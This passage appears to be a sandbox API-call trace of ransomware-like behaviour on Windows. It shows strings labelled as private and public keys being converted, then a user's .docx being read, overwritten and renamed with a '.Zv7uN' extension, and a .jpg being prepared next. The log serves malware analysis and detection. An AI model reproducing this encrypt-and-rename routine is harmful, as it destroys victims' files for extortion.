48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0127.468] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f0e5cc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0127.469] GetCurrentThreadId () returned 0xa30 [0127.469] GetCurrentThreadId () returned 0xa30 [0127.469] GetCurrentThreadId () returned 0xa30 [0127.469] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0127.469] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f1f62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0127.470] GetCurrentThreadId () returned 0xa30 [0127.470] GetCurrentThreadId () returned 0xa30 [0127.470] GetCurrentThreadId () returned 0xa30 [0127.470] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\sXOzIu2 q.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\sxoziu2 q.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0127.470] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0127.470] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0127.470] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x5aba [0127.470] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0127.471] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f27430, nNumberOfBytesToRead=0x5aba, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f27430*, lpNumberOfBytesRead=0x18f3d4*=0x5aba, lpOverlapped=0x0) returned 1 [0127.486] CloseHandle (hObject=0x1e8) returned 1 [0127.486] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\sXOzIu2 q.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\sxoziu2 q.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0127.489] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f2d460*, nNumberOfBytesToWrite=0x5aba, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f2d460*, lpNumberOfBytesWritten=0x18f3e0*=0x5aba, lpOverlapped=0x0) returned 1 [0127.492] CloseHandle (hObject=0x1e8) returned 1 [0127.492] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\sXOzIu2 q.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\sxoziu2 q.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\sXOzIu2 q.docx.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\sxoziu2 q.docx.zv7un")) returned 1 [0127.493] GetCurrentThreadId () returned 0xa30 [0127.493] GetCurrentThreadId () returned 0xa30 [0127.493] GetCurrentThreadId () returned 0xa30 [0127.493] GetCurrentThreadId () returned 0xa30 [0127.493] GetCurrentThreadId () returned 0xa30 [0127.493] GetCurrentThreadId () returned 0xa30 [0127.493] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86074800, ftCreationTime.dwHighDateTime=0x1d5ddde, ftLastAccessTime.dwLowDateTime=0xa51d8490, ftLastAccessTime.dwHighDateTime=0x1d5d7e7, ftLastWriteTime.dwLowDateTime=0xa51d8490, ftLastWriteTime.dwHighDateTime=0x1d5d7e7, nFileSizeHigh=0x0, nFileSizeLow=0x152fb, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="upgu6XAw0nd8_3Lb5i.jpg", cAlternateFileName="UPGU6X~1.JPG")) returned 1 [0127.493] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0127.493] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0127.493] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\upgu6XAw0nd8_3Lb5i.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\upgu6xaw0nd8_3lb5i.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86074800, ftCreationTime.dwHighDateTime=0x1d5ddde, ftLastAccessTime.dwLowDateTime=0xa51d8490, ftLastAccessTime.dwHighDateTime=0x1d5d7e7, ftLastWriteTime.dwLowDateTime=0xa51d8490, ftLastWriteTime.dwHighDateTime=0x1d5d7e7, nFileSizeHigh=0x0, nFileSizeLow=0x152fb)) returned 1 [0127.493] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\upgu6XAw0nd8_3Lb5i.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\upgu6xaw0nd8_3lb5i.jpg")) returned 0x20 [0127.494] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\upgu6XAw0nd8_3Lb5i.jpg", dwFileAttributes=0x80) returned 1 [0127.496] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0127.496] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnn